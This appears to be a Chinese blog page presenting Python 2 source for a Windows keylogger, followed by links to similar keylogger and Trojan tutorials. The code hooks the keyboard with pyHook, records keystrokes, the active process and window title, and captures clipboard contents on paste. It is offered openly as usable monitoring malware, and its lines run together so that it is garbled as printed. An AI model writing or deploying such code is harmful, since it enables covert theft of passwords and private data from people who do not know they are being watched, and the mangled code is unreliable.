python 键盘记录器
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None#
def get_current_process():# 获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()# 获取进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))# 将进程ID存入变量中process_id = "%d" % pid.value# 申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)# 读取窗口标题windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)# 打印print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)print # 关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)# 定义击键监听事件函数
def KeyStroke(event):global current_window# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)if event.WindowName != current_window:current_window = event.WindowName# 函数调用get_current_process()# 检测击键是否常规按键(非组合键等)if event.Ascii > 32 and event.Ascii <127:print chr(event.Ascii),else:# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE]-%s" % (pasted_value),else:print "[%s]" % event.Key,# 循环监听下一个击键事件return True# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
python 键盘记录器相关推荐
- python键盘记录器_使用Python设计键盘记录器
在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...
- Python编写键盘记录器
用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没 ...
- Python实现一个键盘记录器功能
关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...
- 使用Python实现键盘记录器和邮箱自动通知
文章目录 键盘记录器 参考 (1)键盘记录器-模块实现 (2)发送邮箱-模块实现 (3)模块合并 键盘记录器 参考 <python:搞事情!键盘记录并截屏>, 地址https://ba ...
- 用python六行代码写一个简单的键盘记录器
今天我们来用python制作一个键盘记录器 1.需要先安装pynput库 2.然后我们要在C盘里新建一个hi文件夹(我的电脑是c盘所以用c:盘新建,盘符可以更改) 3.新建好后我们打开pycharm开 ...
- python键盘记录255是哪个按键_Keylogger: Python写的键盘敲击记录器
Python部落(python.freelycode.com)组织翻译,禁止转载,欢迎转发. 安装 你需要安装python-xlib如果你没有的话. sudo apt-get install pyth ...
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器 文章目录 黑帽python第二版(Bla ...
- python 三种键盘记录器 based on pyhook,pynput,pygame
在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...
- Android设备新型恶意软件,融合银行木马、键盘记录器和移动勒索软件等功能
2019独角兽企业重金招聘Python工程师标准>>> 网络犯罪分子目前正在开发一种针对Android设备的新型恶意软件,它融合了银行木马.键盘记录器和移动勒索软件的功能. 根据来自 ...
最新文章
- Linux平台-×××
- mysql动态规划_动态规划《开篇》
- awk 分隔符_awk 中的字段、记录和变量 | Linux 中国
- php laravel框架 rce分析 cve-2018-15133
- win下手工启停数据库
- java int.parse_java数据类型转换,parseXXX(String)或valueOf(String)有什么区别?
- 每天一道LeetCode-----有效回文串
- 将WildFly绑定到其他IP地址或多宿主上的所有地址
- 想入职AI算法岗?BAT的工程师去学了这门课
- git使用的基本流程_我并不是高冷(Git进行中01):git基本流程简介
- 让计算机教育因云而变,阿里云正式发布云原生人才培养合作计划
- Tomcat access log配置
- 面向单片机编程(一)- 单片机该怎么学
- Chrome OS超便捷安装指南
- python chm模块_python3.7.0官方参考文档 最新api文档 chm
- #今日论文推荐# 文字秒变3D?苹果发布最新AI生成模型GAUDI,根据文字提示创建3D场景
- 提高vivado编译速度
- 虚拟主机做游戏服务器,虚拟主机做游戏服务器
- 如何应对云安全技术遇到的挑战?可从这三点入手
- 100个常见的php面试题和答案分享,精选php面试题及答案